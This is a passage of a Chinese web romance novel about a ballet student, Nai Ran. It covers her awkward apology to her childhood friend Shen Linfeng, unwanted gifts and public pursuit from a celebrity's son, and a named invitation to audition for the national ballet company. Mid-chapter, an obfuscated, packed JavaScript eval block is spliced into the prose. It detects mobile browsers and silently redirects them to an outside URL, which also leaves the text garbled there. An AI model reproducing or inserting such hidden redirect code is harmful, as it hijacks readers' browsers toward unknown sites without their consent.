是她切断了他们之间的关系,结果她又做出这样的事来,任谁看都匪夷所思。 想到这里,奈然眼神黯然。 她依稀记得沈临枫昨晚推开了自己。 难道是她会错意了,其实沈临枫对她已经没有感情了吗? 既然这样,他为什么要来到这里,一次两次的与她主动接触,扰乱她的心。 奈然想不明白。 但这不是眼下最重要的事情。 思来想去,她决定坦白。 “抱歉,哥哥,昨天晚上的事情……” 奈然看到沈临枫搅动勺子的手停顿下来,垂眸盯着自己面前的碗,竟有些不敢直视他。 “没事的。”沈临枫轻声回答。 他刚想说自己完全不介意,她只是喝醉了而已,便听见奈然接着解释道。 “是我……搞混了。” 沈临枫一怔,一瞬间面上从容神色全无,难以置信地抬眼望向她。 搞混了?什么意思? 他感觉浑身发冷,脑海里产生了一个不愿相信的猜测,仿佛扼住他的喉咙,令人窒息。 难道奈然把他当成了别的人? 不会的,一定是他想错了。 说不定是…… 不等他想好说服自己的理由,奈然又道。 “我把你当成……” 说到一半,奈然自觉不对,尴尬地闭上了嘴。 总不能说自己把沈临枫当成了梦里的他吧?就算是对梦里的他那样做,不也很奇怪吗!? 于是巧妙地避开了重点:“我不是故意的,你别多想……” 说出这句话的时候,她只顾着低头绞尽脑汁去想怎么解释,完全没注意到沈临枫如坠冰窖的表情。 27. 麻烦 为期三天的校庆过去,学校又恢复往日的平静。 没有了每天高强度的剧目排练,奈然原以为会轻松许多,结果现实并没有想的那么简单。 课业轻松倒是轻松了,生活上的麻烦却成倍增加。 每次回到宿舍,连宿管阿姨都对她记忆深刻,招手让她过去。 “来来来,奈然啊,今天又有你的礼物,快拿走吧,管理室都放不下了!” 奈然一听,顿时万分无奈:“阿姨,下次再有人来送,您就别收了。” “唉,每天那么多快递外卖,我哪里分得清谁是谁的呦。” 她说的不无道理,奈然没办法,只能把那些署着自己名字的东西都一一找了出来。 收下是不可能收的,她甚至不知道这些东西到底都是谁送的。 这些礼物大多数是花束、奶茶、零食,但也有比较昂贵的饰品或者包,有些上面备注了送礼人的联系方式,能找到还回去,剩下的根本无从下手。 她的时间每天都会浪费在这上面一两个小时,简直焦头烂额,想直接把所有东西一股脑扔出去,可理智告诉她最好不要这样做,否则又可能引来像魏丰那样的神经病。 见她难办,宿舍里的其余三个女生纷纷自告奋勇帮她处理这些东西,挨个找出上面的联系方式返回,帮奈然节省了一大部分时间。 “我去!这可是某miu的新发布的秋冬系列,卖的最火爆的水钻包,一个两万多呢。” 李橙月的一句话引起奈然她们三个的注意,穆淼淼抢先围了过去,对着她手里的盒子啧啧称奇:“好看!好适合出去玩背!” 祝银兰点头附和:“这包装盒看着就贵。” “有署名没?男生一旦送这么贵的东西,肯定得让送的人知道自己是谁!” 她们三个围着盒子翻找了一圈,终于看到一张粉色的卡片,看清楚上面的名字后,顿时了然。 “是他啊,怪不得送的起这么贵的礼物。” 李橙月看了看蹙着眉的奈然,想问的话又咽了回去,用胳膊肘轻捣身边的穆淼淼:“淼淼,你不是说他最近又没什么动静了吗?” 穆淼淼很是无辜:“是啊,明明这两个月都没怎么见他了,还以为他好不容易放弃了,谁知道现在又出来蹦跶了。” 说罢,她望向神情不虞的奈然:“奈奈,这个要怎么处理?” “给我吧,我来处理。”奈然语气淡淡。 她拿过包装盒,按照上面的寄件人,约了一单跑腿,将东西原封不动的送回去。 送礼物的这个人不是别人,正式影视表演系大名鼎鼎的贺于冬,他的名字在学校里几乎无人不知无人不晓。 原因无他,他的父母皆是A国首屈一指的名导和影后,虽然父母都不是头婚,但在结为夫妻后只有他一个儿子,因此他在出生时, 便成为新闻登上报纸的程度。 尽管贺于冬的母亲早就息影,父亲近年来也没有新作品发布上映,已经将工作重心转移到了商业,他们的影响力依然深远,媒体也时不时会报道一些有关贺于冬的消息,网络上许多营销号推断他将来会成为影视界的新星,甚至已经有了一定的粉丝群体。 父母光环加身,导致云艺大所有学生都知道有这么个星二代在同校的影视表演系。 听说他最近受到了知名导演的邀约,出演一部大热IP改编的电影,即便只是刷脸熟的配角,也已经是同专业其他学生望尘莫及的程度了。 然而,这位星二代并不像媒体所报道的那样光鲜,至少在奈然看来是这样。 她和贺于冬同一级入学,不知道自己哪里惹了他的眼,从去年年末开始,被他穷追不舍快整整一年,这个学期还算清净了不少,本以为他终于放弃,没想到现在又卷土重来。 不过这件事倒不至于让她愁眉不展,顶多是浪费一些时间去应付。 她比较在意的是,沈临枫最近奇怪的态度。 对于上次喝醉后做的那些事,沈临枫的态度十分模糊,自己在第二天道了歉,当时他既没有接受,可也没拒绝,反倒是一幅失魂落魄的模样,叫人摸不清头脑。 这让奈然有些郁闷。 又不是没有亲过,至于这样吗? 如果他讨厌被那样对待,干嘛不直接讲出来? 她讨厌飘忽不定的猜测,如果一切是她会错了意,沈临枫早就对她不存在超乎友谊的情感,她会立即切断这段藕断丝连的关系,阻止没有结果的事情发生。 可问题在于,沈临枫的所作所为,和他表现的又截然相反,很难不让人多想。 自打那天已经过去了快一个星期的时间,他们没再见过面,沈临枫发来的消息变得尤其小心翼翼,通常是问她手臂的伤还痛不痛之类的话,除此之外,还对她每天的行程很是关注。 今天也不例外,沈临枫照常发来了问候的话,看起来有些拘谨。 哥哥:早安,今天有课吗? 奈然看着这条消息撇了撇嘴,心里还存着些郁闷,故意回复道:今天三节课,都在大教室上,晚上去练功室练舞,十点回宿舍,还有什么需要报备的? 回完这条消息,奈然关掉和沈临枫的聊天框,转而看向杨梦在半个小时前发来的话。 杨老师:今天下午六点来学院108办公室一趟,有事情跟你说。 奈然心中一跳,预感到了什么,迅速回复说好。 下午的大课在第二教学楼上,是舞蹈学院所有专业的学生共同的选修课,大概有三百多个人一起上课,偌大的阶梯教室坐满了人。 由于穆淼淼出门前肚子痛上了个厕所,等她们来到教室的时候,一时找不到空余的位置。 沿着过道往后走,没多远便看见有人朝她们疯狂挥手。 定睛一瞧,竟然是高晨睿。 经过一段时间的排练接触,他和奈然穆淼淼的关系亲近了不少,有时候还会向她们请教有关专业的问题。 教室里人多嘈杂,听不到他说话的声音,只见他指指自己旁边的两个座位,表示这里没人坐。 穆淼淼早就不想挤来挤去的找座位了,拉着奈然匆匆走过去,总算坐下,感激道:“小高,还得是你啊。” 高晨睿露出灿烂的笑容:“本来帮舍友占的位,他俩刚说要翘,正好你们就来了,这不巧了吗?” 说着,他冲奈然眨了一下眼睛,主动搭话:“是吧,奈然学姐?” 奈然扬了扬眉,不置可否:“你确定你舍友是翘课了?” “总之他们应该不会来了。”高晨睿笑眯眯地说。 穆淼淼坐在他们两个中间,左看看右看看,一头雾水:“你们两个在说什么?我怎么听不懂。我们到底能不能坐这啊?” 看着一无所知的穆淼淼,奈然默默叹气:“没事,就坐这里吧。” 可能是高晨睿和其他那些大张旗鼓送礼物的男生不同,表现得没有那么明显,导致穆淼淼完全没有发觉。 但奈然早就在一周前,高晨睿第二次约她去看舞团巡演,就已经察觉到了什么。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15256186|161856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 通常来说,如果是寻常的邀约,被拒绝后就不会再问第二次,而高晨睿已经来来回回问她不下三次,平常有事没事总是和她发消息分享自己的日常,谁都能看出来心思何在。 毕竟是共同参与表演的舞伴,出于礼貌,奈然偶尔会回复一两句关于舞蹈技巧的问题,至于其他个人方面的事情,她基本上不会多做回应。 课听到一半,中间休息的时候,穆淼淼终于想起了什么,问旁边的高晨睿:“这节舞蹈史不是大二的选修课吗?你一个大一的来凑什么热闹,我就说怎么位置这么难抢!” 闻言,高晨睿耸耸肩,理所当然地说:“听说这门课的代课老师很漂亮,我来一睹芳容,顺便早点预习大二的课嘛。” 穆淼淼一脸鄙夷:“好肤浅的人。” “彼此彼此。” 离下课还有十分钟的时候,教室外面的走廊忽然传来一阵骚动,引得学生纷纷扭头观望,不知道发生了什么。 见学生注意力分散,站在台上的老师交代完下一节要学习的内容,等待下课的时间一到,拿着教案头也不回离开。 打开教室门,才发现走廊上早已经围的水泄不通。 下一节课要上课的学生挤不进来,想要离开的学生也挤不进去,高晨睿自告奋勇在前面开路,带着奈然和穆淼淼往教室外面走。 直到听见走廊里学生们议论纷纷的内容,他们才知道原因。 奈然蹙眉,二话不说拉着穆淼淼要往另一个方向走。 留下不明所以的高晨睿:“怎么往那边走了?这边离院楼更近呢。” 穆淼淼刚想和他解释,一群人已经跟着围了过来。 人群中央的男生脸上挂着散漫的笑容,闲庭信步朝着这边走来,目光始终只投向一个人:“可算等到你下课了。” 听到他的话,周围的人顿时小声谈论起来,不知道难得来学校上一次课的贺于冬在等谁。 一些内情的学生替旁边人解答:“那不是奈然吗?贺于冬吃这么多次闭门羹,还没放弃呢?” “是校庆上跳芭蕾的那个学姐吗?” “我好喜欢她!好想认识她啊。” “难道她和贺于冬是情侣关系吗?” 许多大一新生还不知道其中的事情经过,询问旁边的学长学姐。 “不是啊,贺于冬追过奈然,那架势,当时搞得人尽皆知的,本来以为这学期没动静放弃了,听说他是去拍电影去了,刚出剧组回学校上课。” 同样是新生的高晨睿听到此番话,大概明白了现在的情况。 眼见贺于冬走近,毫不在意奈然冷淡的表情:“给你的礼物,怎么不收?那可是我特意挑的,很适合你。” “不需要,以后也不要给我任何东西。”奈然语气淡淡,正欲转身离开,又被贺于冬喊住。 “奈然,我到底哪里让你不满意了?”遭到拒绝,贺于冬的面子有些挂不住,语气加重些许,瞟了一眼站在奈然旁边的高晨睿:“难道你和他在一起了?他看着也不怎么样嘛。” 奈然最讨厌他这种喜欢牵连别人的行为,也不喜欢他自视甚高的毛病,打算无视他离开,被高晨睿横跨一步挡住视野。 他挺起胸膛,叉着腰高声说道:“怎样?难道你羡慕嫉妒恨了?” 贺于冬脸色一沉,充满敌意地看向他。 似乎还觉得不够,高晨睿又补充了一句:“就算我们分手了,也轮不到你。” 穆淼淼:“!??” 奈然:“……” 28. 惊喜 本来局面就已经够乱了,偏偏高晨睿还出来捣乱,周围看热闹的人越来越多。 奈然像是这场闹剧的局外人,既没有说话也没有表态,转身从分开的人群中离去。 被她拉着的穆淼淼依然处于大脑宕机的状态,直到出了教学楼,外面的冷空气冲醒大脑,才猛然回神,震惊道:“奈奈,你和小高在一起了!?” 她买的学长股就这样破碎了吗! 还没来得及为自己CP的BE而哭泣,便被奈然打断了施法。 “没有的事,别听他瞎说。我对他们完全没有兴趣。” “哦……”穆淼淼小脑瓜灵机一动,眼巴巴看向奈然:“那沈学长呢?” 奈然:“……” 她忽然沉默下来。 就在穆淼淼以为她不会回答的时候,听到一句轻声呢喃,像是说给她,又像是自言自语。 “他是例外。” 穆淼淼瞪大了眼睛,刚准备说话,随后赶来的高晨睿跑了过来,喘着气说道:“你们怎么走这么快,我差点没挤出来。” “啧啧啧。”知道一切的穆淼淼略带同情的看着他摇头,语重心长道:“小高啊,你晚了一步。” “什么?”高晨睿莫名其妙,浑身忽然感觉到一阵冷意,抬眼对上奈然锐利的目光。 他和奈然接触的不多,虽然她话不多,但称不上冷淡,对于芭蕾方面的问题一丝不苟,向她请教时都会一一认真回答,还从来没见过她这样的表情。 不知为何,被她这样凝视着,高晨睿脖子瑟缩一瞬:“刚刚情急之下说的那些话,学姐,你别介意哈。” 奈然并不领情:“你应该道歉,而不是让我不要介意。” 察觉到气氛不对,穆淼淼往奈然身边挪了挪,不敢说话。 被她这样毫不留情队怼回,高晨睿心里很不是滋味,忍不住开口反驳:“我这不是想着那样说能帮你拒绝他吗,只是装一下,没什么吧?” “我有同意你这样做吗?”奈然的声音彻底冷了下来,“你擅自做主,没有替我解决事情,相反还带来了更多的麻烦。” 高晨睿无言以对,垂下了头,像是被老师训话的学生。 “不要自以为是,高晨睿。” 一旁的穆淼淼根本不敢插话,疯狂用眼神示意高晨睿赶紧认错。 后者犹犹豫豫半天,直到奈然耐心告罄抬脚要走,才急急忙忙出声:“是我错了!没考虑到你的感受……” 见奈然步伐不停,他又追了上去,神情带着歉意:“但我真是想帮你才这么说的,没有别的私心!真的!” 穆淼淼这会儿脑袋也转过来了:“那你也不能这样说啊,你让奈奈怎么解释?周围的人都听到了,谁知道他们会怎么传出去,说严重点,这都可以叫造谣了,小高。” 高晨睿顿时蔫了,意识到后果可能会比他想象中严重,态度愈发诚恳:“抱歉,是我一时冲动了,如果有人提到这件事,我会解释的。” 见奈然还是不理自己,高晨睿垂头丧气,一路跟在后面。 来到院楼,奈然让穆淼淼先去教室等着自己,她现在需要去找一趟老师。 说罢,视线落在旁边的高晨睿身上,在他充满希冀的目光中留下一句:“这次就算了。” 高晨睿立马喜上眉梢,对着奈然的背影喊道:“谢谢学姐!下次绝对不会了!” * 比约定的时间早了十分钟,奈然敲响办公室的门。 两秒后,里面传来杨梦的声音:“进。” 推开门,独自坐在办公室的杨梦从电脑前抬起头,见到是她,情不自禁露出笑容:“来来来,过来这里坐着。” 杨梦从大一开始就是她所在班级的班主任,由于年龄相差不大,和学生之间的关系很好,偶尔还会请班里的学生一起吃饭。 而奈然作为她最满意的学生,自然相处的更多,也更熟悉。 奈然在办公桌旁边坐下,看着杨梦满面春风的模样,不免开始猜测:“老师这么开心,难道是咱们的剧目被评奖了?” “你怎么知道?”杨梦止不住笑,“虽然校方还没给确切的结果,不过前三是没跑了,昨天开会特地表扬了咱们系的学生呢。” “都是因为杨老师指导的好啊。” 杨梦摆摆手,开了个玩笑:“一半一半吧,我只能占百分之五十。” 说完,她们相视而笑。 这次表演的成功显然让整个芭蕾表演系都受益匪浅,校方对这个专业的建设重视起来,意味着今年可能会获得更多的申请资金,以及一些新的表演机会,这对芭蕾表演系每一个学生都是好的消息。 “但我找你来可不是为了说这件事。”杨梦卖了个关子,“你猜猜是什么?” 奈然沉吟片刻:“是评比的事情吗?” “不是。” “难道是期末考核?” “也不是。”杨梦笑着摇头。 奈然眨眨眼睛:“真猜不到了。” “好了好了,不逗你了。”杨梦冲她勾勾手,“你坐近点,我给你看个东西。” 她让奈然看自己的电脑屏幕,操作着鼠标点开早就准备好的网页。 标准的电子邮件页面出现在眼前,加租的标题相当醒目。 看到邮件的内容后,奈然怔怔,久久未能回神,还是杨梦伸手拍了拍她的肩膀,才从巨大的惊喜中抽出。 “其实我觉得你迟早会有这样一个机会。”杨梦面露欣慰,“没想到来的这么巧。” 而奈然像是还没完全反应过来,盯着电脑屏幕喃喃自语:“这是真的吧?不是我在做梦吧?” 杨梦笑得开怀:“这可是别人做梦都梦不来的事情。” 屏幕上的电子邮件赫然写着—— 邀请参加A国国家芭蕾舞团预备演员选拔|云弘艺术大学舞蹈学院 尊敬的云弘艺术大学舞蹈学院负责人/老师: 您好! 国家芭蕾舞团是A国国家级芭蕾舞表演团体,长期致力于培养优秀的芭蕾舞人才。我们通过云弘艺术大学庆典晚会关注到贵院芭蕾表演系的剧目《天鹅湖》选段,对参与表演的优秀学生尤为欣赏。 为进一步发掘青年舞蹈演员潜力,我团将在明年一月拟开展新生演员选拔工作,现诚邀贵专业学生[奈然]以及其他表现突出的优秀学生参与选拔。详细内容见下列附件列表。 …… 请于12月10日前回复本邮件并发送选拔推荐表,确认参与选拔学生名单。 我们期待贵院的回复。 此致。 国家芭蕾舞团人力部 —— “奈然?奈然!” 见女生一副魂不守舍的模样,杨梦拔高了音量,终于唤回她的注意:“傻愣着做什么?” 奈然扭头看她,竟是激动的红了眼眶。 优秀又努力的学生没有老师会不喜欢,更何况奈然平时在老师面前听话认真,杨梦拿她当作妹妹一样看待。 自己也是芭蕾舞者出身,自然明白这封邮件的含金量到底有多重。 她为奈然而感到骄傲,但又不想话说得太满引对方自傲:“国芭是现在国内最顶级的舞团,咱们学校一直跟他们有合作,基本上每年都会有这样的试镜邀请,名额不多,校内推荐的名额大概在5个左右,真正能通过被录取的最多不超过3个。但……” 她看着奈然难掩欣喜的眼,莞尔道:“我还是第一次见到,他们在邮件里’指名道姓‘要求一个学生去参加试镜呢。” 这就谈不上合作不合作的问题了,其中的意义非同小可。 证明人家已经看中了奈然,并希望她来参加试镜。 想起十年前自己也曾有幸获得过国芭的试镜机会,可惜没能入选,退而求其次去了其他的舞团,杨梦心中有憾,此时也是真心为奈然而感到高兴:“还剩不到两个月时间的准备,你一定要重视这次机会,绝不能错过,知道吗?” 奈然郑重点头:“我明白。” “试镜有可选的试题选段,我把邮件转发给你,你这段时间多关注,拿不准的老师会帮你,下面有国芭选拔负责人的联系方式,我认识,是个很和善的前辈,你可以加她一个好友,关于一些试镜的问题也可以请教她。” “好的,老师。” “记住,这只是一个开始。”杨梦语重心长,“你要沉得住气,竞争很激烈,这是不争的事实,就算通过了选拔,也有常年作为替补无法上场的例子,你的心境最重要,无论成功与否,过程远比结果重要。” “嗯。”奈然心神领会。 杨梦说的这些话,她早有心理准备,但她未宣之于口的是—— 她想要的,不仅仅是通过选拔那么简单。 也许在外人听来有些野心勃勃,甚至称得上自负,可她从未动摇过自己的目标。 并非群舞或者领舞,而是唯一的首席。 达到目标的路依然漫漫,但明天永远会比今天更接近实现。 从杨梦的办公室出来后,奈然将即将参与选拔的事情告诉了父母,引得他们一阵激动,差点喜极而泣,在电话里连连称好。 听到他们开心的声音,奈然心中既感动又酸涩,明明泪水从眼角落下, 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那边的奈文谦听到她的话,气愤地哼哼:“我那破学校,临近期末要我们写什么教学规划,成天开会开会!” 万玉玲生怕奈然因为奈文谦去不了而伤心,解释道:“他是老师嘛,越到期末越是忙,生活费还够不够?妈妈再给你转五千。” “不用了,我还有呢。” “你那边开销大,平时练舞舞鞋舞服什么的都要常换,何况我女儿这么漂亮,不多买几身好看的衣服换着穿多可惜……” 奈然忍俊不禁:“好,那我一天三套换着穿。” 和父母又说了些家常话,奈然心情颇好地挂掉了电话。 近日来被各种各样的麻烦频频打搅的情绪陡然宁静下来,她如释重负地深呼吸一口气,顿时觉得跟这些事情比起来,那些琐事根本无关紧要。 与其为外事所烦心,不如好好准备两个月后的试镜。 她心不在焉地划着手机屏幕,不知怎得就切换到了和沈临枫的聊天界面。 和他说的话,他也会为我高兴吗? 拇指在键盘上犹豫许久,迟迟未能打出完整的字。 算了,又不是已经被录取的消息,干嘛大张旗鼓去说。 奈然轻轻摇摇头,锁上了屏幕,将手机装回兜中,朝着教室走去。 * 实验室内,沈临枫披上白色实验服,戴着橡胶手套,站在实验台前取样。 门从外面被推开,走进来的女生看到他,热情地打招呼:“晚上好啊沈师弟,你怎么来这么早,吃过饭了吗?” “师姐。”沈临枫点了点头,“已经吃过了。” 他这一个星期连着来实验室做实验,经常见到其他研二研三的学姐学长,面前的女生和他同样是周导的学生,课题研究也相关,沈临枫经常会向她请教有关实验操作的问题,一来二去比之前要熟络了不少。 徐雁文一边穿着实验服,一遍说道:“昨天的结果怎么样?” “不太理想,细胞没存活下来。” “是不是温度调高了?多试试,别灰心。” “嗯,谢谢师姐。”沈临枫点头。 等待机器工作的间隙,徐雁文拿起手机刷了起来,不一会儿,发出“啧啧啧”的感叹声,在沈临枫看过来时开口:“你知道李黎吗?曾经的金橡影后。” 娱乐圈的明星沈临枫了解不多,不过这位李黎的名字家喻户晓,是连他父母都耳熟能详的程度,自然听说过:“知道。” “她儿子你知道吗?贺于冬,就在旁边云艺大读表演系呢。” 沈临枫如实摇头,对这个话题兴趣不大,继续着手上的动作,将切片对准显微镜,弯腰调节倍数。 “要我说啊这些搞艺术的,生活跟我们就是不一样,我们每天实验室寝室两头跑,人家像演电影似的,还整上偶像剧桥段了。”徐雁文看着手机中播放的视频,实话评价着:“不过人家确实有这个资本呢,长得一个比一个盘靓条顺,连旁边的围观群众随便捞一个出来都有鼻子有眼的。” 说着,她又看向沈临枫,开了个玩笑:“还好我们云工大的颜值有沈师弟你顶着,也不算输的太难看。” 沈临枫礼貌笑了笑,没有回话。 播放完视频,徐雁文随意打开评论区瞧了瞧:“不过都还没正式出道呢,贺于冬就大张旗鼓追求人家,结果还正好撞到人家男朋友在旁边,多尴尬。但不得不说,这个女生气质可真好,好像是练芭蕾的?” 她羡慕地看着屏幕里,丝毫没有留意到一旁沈临枫蓦然停下的动作。 29. 想法 世界上哪有这么巧合的事情呢? 沈临枫在心底安抚自己。 云艺大芭蕾系没有几千个也有几百个学生,怎么可能偏偏是她想的那个人。 可无论如何自欺欺人,他依然感到惶恐不安,又会想起那天早晨奈然说的话。 其实,在被奈然主动亲吻后,他除了慌乱以外,内心是有点窃喜的。 虽然他心知肚明奈然当时喝醉了酒,行为非出于自愿,但大概也是把现下当成了两年前。 无论现在奈然对他的态度如何,至少在两年前,她曾喜欢过自己。 可在第二天早晨,这种不切实际的幻想瞬间变成了泡影。 她说搞错了,把他当成了另外的人。 原来她想吻的人不是他。 她一定觉得很……讨厌吧。 那个人会是谁呢? 在重逢后,他理所当然地示好靠近,企图能挽回两年前的关系,如今却发现他现在才可能是那个多余的人。 一开始,出于胆怯,他不敢询问这方面的事情,见奈然答应自己的邀约,便想当然以为她现在还是单身。 直到被她的话当头一击,才发觉自己如同跳梁小丑,还在因为获得了一点点的回应而沾沾自喜。 被她知道了,一定觉得自己很无耻吧。 或许还没发展到确认关系呢?那他是不是还有一丝机会? 沈临枫这样安慰自己。 可真正看到徐雁文手机中的视频录像,这些开解自己的话语瞬间变成利刃刺入心中,止不住地疼。 视频中站在奈然旁边的男生他认识,正是那天晚上和奈然一起走到宿舍门口的男生,也是……校庆表演剧目的男主角。 现在想来,倒也不奇怪了。 每天在舞蹈室里朝夕相处,又有着无数共同话题,很难不产生别样的情愫吧。 本以为是男生的一厢情愿,可看到视频结尾最后一秒,奈然也没有反驳任何一句,像是默认了般转身离开。 所以,那天晚上,奈然是把自己当成了他吗? 原来一切的一切,都是自己的痴心妄想。 沈临枫盯着视频中的高晨睿,看他毫不避讳地承认两人的关系,心有不甘。 他凭什么。 没有谁会比自己更喜欢奈然。 他和她之间,不是几天、几个月、几年,而是整整十几年,几乎占据了迄今为止的所有岁月。 指尖掐进掌心,疼痛使他渐渐冷静。 是啊,就算确认了关系又怎么样。 没关系,他有的是时间可以等。 等到……奈然愿意回头看他为止。 徐雁文本想和沈临枫分享八卦,结果见他看完视频后脸色惨白,吓了一跳:“沈师弟你没事吧?身体不舒服?” 沈临枫勉强挤出一丝笑:“有点。” “要不你先回去吧,有什么没处理的我帮你。” “不用了,我还差一点就结束了。”沈临枫回绝了她,安静地回到自己的台子上继续实验。 浑浑噩噩做完今天的实验内容回到住处,揉着酥酥的脑袋,才稍微平静了一些。 奈然,你究竟是怎么看待我的呢? * 不得不说,虽然学校里面多了很多关于她不实的传言,但最近寄送到宿舍楼下管理室的东西数量骤减,省去了奈然很多烦恼。 到了十二月,云泓市的气温大幅下降,跳至零下。 在同老师商量后,奈然决定将《吉赛尔》选段作为试镜表演。 在她提出想要选这段作为试镜题目的时候,几位专业老师都有些意外,觉得她的想法过于草率。 有老师提出问题:“《吉赛尔》虽然相对经典,但上限摆在那里,能被推荐试镜的备选人员,哪个不是专业里的佼佼者?选这个剧目的人不少,每个都跳的中规中矩,岂不是很难突出你的优势?” “是啊,奈然,你的优势在于难度技巧和极低的错误率,选《堂吉诃德》或许会更展现你的旋转技巧,就算有一点失误,也不影响整体的评分。” 也有老师支持奈然的想法:“王老师、杨老师,我想的正好和你们相反,舞团试镜和学校考核评判的标准不一样,对于舞团来说,最重要的是表演,给观众呈现的艺术,而观众百分之八十都是不懂舞蹈的,他们的欣赏体现在剧目的可理解性、感染性,技巧是锦上添花的东西,而不是最基本的要求。” 听完她的话,奈然点头:“谢谢各位老师对我的肯定与期望,这都是对我很宝贵的意见,我和吴老师的想法相似,舞团的主要工作是巡演,不是教导学生,因此我想侧重表演的完整性,高难度的剧目想要完美的演绎出来,对我来说还是一个需要继续努力的目标,如果我没能在试镜中发挥到最好,恐怕会让试镜的老师觉得我好高骛远,这样一来,难度反而成了减分项。” 围坐在会议桌两侧的老师议论纷纷。结合着手中的资料交流。 “我觉得还是得选较难的剧目,按照往年国芭的录取情况看,靠技巧取胜的偏多啊。” “国芭每年也是有收人指标要完成的,添加新人不代表就能成为核心成员,一个两个靠高难度动作擦着边进团,进团后不是替补就是群舞,连新晋领舞都没有,到现在国芭的领舞还是五年前曙海舞蹈学院毕业的,更别提首席了,六年都没换过。” “国芭的首席还是程思嘉呢?她毕业也快八九年了吧。” “现实残酷,年龄终究是一道坎,国芭这两年在国外的巡演场数越来越少,不就是因为找不到更合适的新首席,程思嘉是厉害,但毕竟也三十岁了。” “她是从咱们云艺大毕业的,王老师,您是不是还教过她?” “是啊,她的能力放眼近十年的学生,基本上是望尘莫及的存在,当初填推荐名单的时候,我第一个写的就是她的名字,她这样的顶尖人才,不可多得。” 王老师年过五十,二十年前曾担任国家芭蕾舞团的领舞,是云艺大芭蕾表演系资历最深的老师。 她说话的语速不急不徐,身穿豆绿色长裙,骨子里透着股优雅从容,目光轻轻落在站在桌前奈然的脸上:“不过以后的事情,也说不准。” “那您还记得程思嘉当初试镜的内容是什么吗?” 王老师揪着眉头想了想:“瞧我这记性,她跳的是什么来着……” “是《吉赛尔》。” 奈然简短的话语一响,老师们皆是哗然。 往年试镜的内容其实不算秘密,但凡有心就能在国家芭蕾舞团的官网上找到对应的记录视频,只不过大多数人将注意力放在了入团之后的成绩上,鲜少有人关注试镜时的表演。 有些老师露出了然的神情,终于知道奈然为什么执着要选《吉赛尔》。 同时,也有部分老师不赞同地摇了摇头。 “盲目模仿不可取,既然国芭特意点出了你的名字去参加试镜,想必对你相当重视,你选了和程思嘉一样的剧目,难免会被比较,到时候缺点便暴露无遗了。” 奈然并不急着反驳,对老师的话表示认同:“是的,我反复观看过程思嘉老师当时的试镜表演,她确实做得无可挑剔,对身体的控制炉火纯青。” 这时,有老师附和:“对,我想起来了,我也看过程思嘉的试镜表演,她把‘亡灵’的概念演绎得出神入化,甚至能在动作之间加入卡顿感,可见那恐怖的控制能力。” 王老师点头:“程思嘉最出众的能力就在于她对每一个动作的把控能力和几乎零失误的反应能力,在舞团呆了将近十年,从来没听说过她在表演中途出现重大失误。” “怪不得近几年就没有跳《吉赛尔》被录取的,在这个剧目上,程思嘉已经是天花板 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更何况,第一幕中吉赛尔由天真烂漫到崩溃失智的转化过大,在正式的表演中往往需要各种外界因素的加持表现出反差,例如服装、灯光、以及其他推动剧情的群舞演员。 而试镜中既没有华丽的舞服变换,更不会安排任何群演,独舞无非是通过个人的表情和动作去诠释情感,想要演绎出吉赛尔在知道真相后崩溃癫狂的状态,并没有那么简单。 没有外力的推动,只能靠自己去控制变化,转换太快会显突兀,叫人莫名其妙,转化太慢又不够形成强烈反差,无法调动情绪。 见许多老师依然持有怀疑的态度,奈然直言道:“我知道我的想法可能有些天真,但我想试一试,同时也会练习另一段舞蹈作为备选。” 听她心意已决,老师们也不好再说什么,同意了她的想法。 会议接下来还要商讨其他推荐名额的学生人选,奈然道了谢,从会议室离开。 她站在空无一人的走廊长长舒了口气。 没达成目标之前,一刻都无法松懈。 有时候感觉自己终于跨过了一道难关,才发现前面还有重重更高的山,怎么走也走不完。 短暂的疲惫不可避免,她不会因此止步不前。 晚上没课,她找了间空闲的舞蹈教室,将十年前程思嘉参加试镜时的视频拷贝到教室里的电脑上反复观看,再一一细扣动作,体会从中的感觉。 虽然她想要表演的片段和程思嘉不一样,但吉赛尔作为剧目的主角,她的一系列心境变化是互通的。 一遍遍抠了近百次的细节,还是没能做到自己想要的效果。 《吉赛尔》第一幕饱含许多连续的小跳,长时间的立足跳跃使脚尖阵阵发痛,奈然不得已停下了今天的练习。 抬头望向墙上的钟表,居然已经快十一点。 已经过了门禁的时间,看来只能让宿管阿姨通融一下了。 她来不及换下练功服,匆匆套上外衣,拿着背包离开舞蹈教室。 整栋楼万籁俱寂,唯有鞋底踏在大理石地板上发出的清脆响声。 奈然一路下了楼,来到门口才惊讶地发现,外面竟不知何时下起了大雨。 刺骨的寒风迎面吹来,让她不禁扯了扯衣襟,将裸露在外的脖颈缩在衣领中。 下午出门的时候没注意看天气,更别提拿伞出来。 奈然扬起头,望着自天空中斜斜降落的雨滴,内心无奈,这可怎么办? 离院楼最近的超市比宿舍还远,买伞是不可能了,时间这么晚,叫人来送也不太现实。 纠结了半天,眼看再拖恐怕连宿舍阿姨都要睡熟,到时候就算她淋雨冲回宿舍也进不去。奈然心一横,套上外套的兜帽,作势要往雨里跑。 刚跨出一步,身后传来讶异的声音。 “咦?学姐,你还没走啊?”